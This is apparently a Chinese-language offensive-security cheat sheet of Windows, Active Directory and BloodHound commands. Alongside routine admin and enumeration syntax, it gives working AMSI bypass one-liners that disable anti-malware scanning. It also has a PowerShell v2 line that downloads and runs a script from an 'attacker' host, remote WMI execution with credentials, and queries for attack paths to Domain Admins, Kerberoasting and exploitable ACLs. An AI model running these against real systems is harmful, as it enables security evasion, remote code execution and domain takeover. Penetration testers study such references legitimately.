# 系统命令

_8 条工具命令_

### Windows CMD命令  `windows-cmd`
_Windows系统常用命令_

**Step 0**
> 获取系统信息
_platform: windows_
```
systeminfo
ver
hostname
```

**Step 0**
> 用户管理命令
_platform: windows_
```
net user
net user username password /add
net localgroup administrators username /add
```

**Step 0**
> 网络配置信息
_platform: windows_
```
ipconfig /all
netstat -ano
netstat -anob
route print
arp -a
```

**Step 0**
> 进程管理命令
_platform: windows_
```
tasklist
taskkill /PID pid /F
wmic process list full
```

**Step 0**
> 服务管理命令
_platform: windows_
```
sc query
sc start servicename
sc stop servicename
net start
```

**Step 0**
> 文件操作命令
_platform: windows_
```
dir /s /b c:\*.txt
type filename
find "string" filename
icacls filename
```

**Step 0**
> 注册表操作
_platform: windows_
```
reg query HKLM\Software
reg add HKLM\Software\MyKey /v Value /t REG_SZ /d "Data" /f
reg delete HKLM\Software\MyKey /f
```

**Step 0**
> 防火墙配置
_platform: windows_
```
netsh advfirewall show allprofiles
netsh advfirewall firewall add rule name="Allow Port" dir=in action=allow protocol=tcp localport=8080
```

---

### NET命令集合  `net-commands`
_Windows NET命令完整集合_

**Step 0**
> 列出所有用户
_platform: windows_
```
net user
```

**Step 0**
> 查看用户详细信息
_platform: windows_
```
net user username
```

**Step 0**
> 添加新用户
_platform: windows_
```
net user username password /add
```

**Step 0**
> 删除用户
_platform: windows_
```
net user username /delete
```

**Step 0**
> 列出所有本地组
_platform: windows_
```
net localgroup
```

**Step 0**
> 将用户添加到管理员组
_platform: windows_
```
net localgroup administrators username /add
```

**Step 0**
> 列出域用户
_platform: windows_
```
net user /domain
```

**Step 0**
> 列出域管理员
_platform: windows_
```
net group "Domain Admins" /domain
```

**Step 0**
> 列出共享资源
_platform: windows_
```
net share
```

**Step 0**
> 创建共享
_platform: windows_
```
net share sharename=C:\path /grant:everyone,full
```

**Step 0**
> 列出当前会话
_platform: windows_
```
net session
```

**Step 0**
> 连接网络共享
_platform: windows_
```
net use \\target\share password /user:domain\user
```

---

### PowerShell AMSI绕过  `powershell-amsi`
_Windows AMSI(反恶意软件扫描接口)绕过技术集合_

**Step 0**
> 通过反射修改amsiInitFailed标志位
_platform: windows_
```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

**Step 0**
> 字符串拼接绕过AMSI签名检测
_platform: windows_
```
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)
```

**Step 0**
> 直接修改内存中的AMSI缓冲区
_platform: windows_
```
$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)
```

**Step 0**
> 使用PowerShell v2(无AMSI)运行脚本
_platform: windows_
```
powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"
```

---

### WMIC命令  `wmic-cmd`
_Windows Management Instrumentation命令行工具_

**Step 0**
> 获取操作系统和计算机信息
_platform: windows_
```
wmic os get Caption,Version,BuildNumber,OSArchitecture
wmic computersystem get Name,Domain,Manufacturer,Model
```
**语法解析：**
- `wmic` — WMI命令行工具 _command_
- `os get` — 查询操作系统对象属性 _parameter_

**Step 0**
> 查询和创建进程
_platform: windows_
```
wmic process list brief
wmic process where name="cmd.exe" get processid,commandline
wmic process call create "cmd.exe /c whoami > C:\temp\out.txt"
```

**Step 0**
> 查询服务信息
_platform: windows_
```
wmic service list brief
wmic service where "startmode='auto' and state='stopped'" get name,startname
```

**Step 0**
> 远程WMI命令执行
_platform: windows_
```
wmic /node:target_ip /user:admin /password:pass process call create "cmd.exe /c whoami"
```

**Step 0**
> 列出已安装软件和补丁
_platform: windows_
```
wmic product get name,version
wmic qfe list
```

---

### DSQuery命令  `dsquery`
_Active Directory查询命令行工具_

**Step 0**
> 查询域用户(所有/管理员/不活跃)
_platform: windows_
```
dsquery user -limit 0
dsquery user -name *admin*
dsquery user -inactive 4
```
**语法解析：**
- `dsquery user` — 查询AD用户对象 _command_
- `-limit 0` — 不限制返回数量 _parameter_

**Step 0**
> 查询域内计算机对象
_platform: windows_
```
dsquery computer -limit 0
dsquery computer -name *server*
```

**Step 0**
> 查询域组及成员
_platform: windows_
```
dsquery group -name "Domain Admins"
dsquery group | dsget group -members
```

**Step 0**
> 查询组织单位结构
_platform: windows_
```
dsquery ou
dsquery * "DC=domain,DC=com" -filter "(objectclass=organizationalUnit)" -attr name
```

**Step 0**
> 自定义LDAP过滤器查询特权用户
_platform: windows_
```
dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr sAMAccountName -limit 0
```

---

### AD Explorer  `adexplorer`
_Sysinternals出品的Active Directory浏览器和快照工具_

**Step 0**
> 连接到Active Directory进行浏览
_platform: windows_
```
ADExplorer.exe
# 输入DC地址: dc.domain.com
# 输入凭证: domain\user / password
# 或使用当前域凭证直连
```

**Step 0**
> 创建AD数据库离线快照(可用BloodHound分析)
_platform: windows_
```
ADExplorer.exe -snapshot "" output.snp
# 或在GUI中: File > Create Snapshot
```

**Step 0**
> 对比两个快照发现AD变更
_platform: windows_
```
# GUI操作: File > Compare
# 选择两个时间点的快照文件
# 对比AD变更(新用户/权限变更等)
```

---

### ldeep  `ldeep`
_LDAP深度枚举工具，用于从Linux远程查询AD信息_

**Step 0**
> 枚举域用户
```
ldeep ldap -u user -p password -d domain.com -s dc_ip users
ldeep ldap -u user -p password -d domain.com -s dc_ip users -v
```
**语法解析：**
- `ldap` — 使用LDAP协议连接 _parameter_
- `-s` — LDAP服务器地址 _parameter_

**Step 0**
> 枚举组和组策略对象
```
ldeep ldap -u user -p pass -d domain.com -s dc_ip groups
ldeep ldap -u user -p pass -d domain.com -s dc_ip gpo
```

**Step 0**
> 查询委派配置和域信任关系
```
ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations
ldeep ldap -u user -p pass -d domain.com -s dc_ip trusts
```

**Step 0**
> 查询密码策略
```
ldeep ldap -u user -p pass -d domain.com -s dc_ip pso
ldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols
```

---

### BloodHound Cypher  `bloodhound-cypher`
_BloodHound Neo4j Cypher查询语句集合_

**Step 0**
> 查找指定用户到域管的最短攻击路径
```
MATCH p=shortestPath((n:User {name:"USER@DOMAIN.COM"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.COM"})) RETURN p
```

**Step 0**
> 查找可进行Kerberoasting的用户
```
MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN u.name, u.serviceprincipalnames
```

**Step 0**
> 查找可进行AS-REP Roasting的用户
```
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
```

**Step 0**
> 查找所有具有本地管理员权限的用户
```
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
```

**Step 0**
> 查找配置了无约束委派的计算机
```
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
```

**Step 0**
> 查找可利用的ACL权限关系
```
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(target) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN p
```

---
